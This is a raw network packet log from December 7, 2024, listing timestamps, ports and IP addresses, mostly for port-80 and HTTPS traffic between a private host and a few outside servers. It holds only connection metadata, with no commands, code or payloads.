Dec 7, 2024 22:40:10.232806921 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.232948065 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.279336929 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.291249990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.291547060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.291558027 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.291567087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.291619062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.291662931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.449839115 CET	49674	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:10.449841976 CET	49673	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:10.777936935 CET	49672	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:10.786487103 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.786572933 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.786684990 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.786865950 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.786889076 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.172208071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:11.172466040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:11.559629917 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.559745073 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.570933104 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.570950031 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.571239948 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.621686935 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.624110937 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.624247074 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.624254942 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.624361992 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:11.671330929 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:11.774873018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:11.894519091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.211838007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.211930037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.211945057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.211982012 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.216052055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.216116905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.216145992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.216187000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.221515894 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.221569061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.221683979 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.221738100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.229892969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.229959965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.229994059 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.230036020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.238358974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.238430023 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.238437891 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.238482952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.246758938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.246804953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.246812105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.246844053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.296260118 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:12.296344995 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:12.296401978 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:12.296828032 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:12.296843052 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:12.336760998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.336810112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.336857080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.336896896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.341042042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.341098070 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.341145039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.341190100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.349368095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.349425077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.349445105 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.349505901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.357805967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.357870102 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.357899904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.357945919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.366161108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.366209030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.403961897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.404182911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.404228926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.404469967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.408143997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.408194065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.409596920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.409645081 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.409765959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.409816980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.418071985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.418121099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.418152094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.418194056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.426481962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.426532030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.426606894 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.426652908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.434850931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.434906006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.434945107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.434988976 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.443238020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.443290949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.443351030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.443397045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.451605082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.451663971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.461544037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.461594105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.461622000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.461663961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.463717937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.463766098 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.463869095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.463915110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.471087933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.471129894 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.471263885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.471307993 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.478382111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.478430986 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.478492975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.478535891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.485768080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.485816956 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.485929012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.485975027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.529078960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.529129028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.529138088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.529181004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.532133102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.532179117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.532212019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.532253027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.538281918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.538330078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.538398027 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.538441896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.544532061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.544588089 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.544671059 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.544718981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.550724030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.550787926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.550828934 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.550869942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.556907892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.556968927 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.557030916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.557075977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.563186884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.563246965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.563251972 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.563296080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.569369078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.569432020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.569473982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.569514990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.575527906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.575577021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.575587988 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.575629950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.595938921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.596014023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.596141100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.596141100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.597778082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.597826958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.597913980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.597956896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.601392984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.601443052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.601501942 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.601548910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.604898930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.604948044 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.604980946 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.605026960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.608520031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.608572960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.608597040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.608637094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.612149954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.612204075 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.612238884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.612279892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.615740061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.615787983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.615854025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.615900040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.619321108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.619368076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.619384050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.619426966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.622807026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.622857094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.622889996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.622936964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.626327038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.626369953 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.626427889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.626471996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.629865885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.629905939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.629966021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.630009890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.633399010 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.633450985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.653640032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.653680086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.653738976 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.653764963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.655461073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.655509949 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.655515909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.655545950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.658924103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.658993006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.660168886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.660223007 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.660258055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.660295963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.663651943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.663707018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.663764954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.663806915 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.667054892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.667155981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.667221069 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.721348047 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.721429110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.721427917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.721591949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.722883940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.722929955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.722987890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.723032951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.725977898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.726026058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.727088928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.727159977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.727211952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.727257013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.730190039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.730238914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.730268955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.730314016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.788198948 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.788314104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.788445950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.788492918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.789155006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.789205074 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.789274931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.789316893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.791127920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.791176081 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.791260004 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.791302919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.793127060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.793178082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.793262959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.793308973 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.795001030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.795052052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.795121908 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.795167923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.797014952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.797063112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.797090054 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.797130108 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.798984051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.799031019 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.799077988 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.799128056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.801224947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.801270008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.801302910 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.801348925 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.802879095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.802922964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.802985907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.803030968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.804790974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.804836035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.804913998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.804961920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.806814909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.806894064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.806895971 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.806938887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.808974028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.808994055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.809020042 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.809041977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.810730934 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.810775042 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.810795069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.810834885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.812674046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.812721968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.812762022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.812805891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.814646006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.814692020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.814805031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.814851046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.816589117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.816633940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.816695929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.816741943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.818571091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.818615913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.818615913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.818654060 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.820611954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.820657969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.820744991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.820790052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.822477102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.822518110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.822545052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.822587967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.824420929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.824469090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.824526072 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.824569941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.826380968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.826427937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.826503992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.826545954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.828355074 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.828401089 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.828439951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.828485966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.830312967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.830358982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.830452919 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.830507994 CET	49707	80	192.168.2.6	185.215.113.206
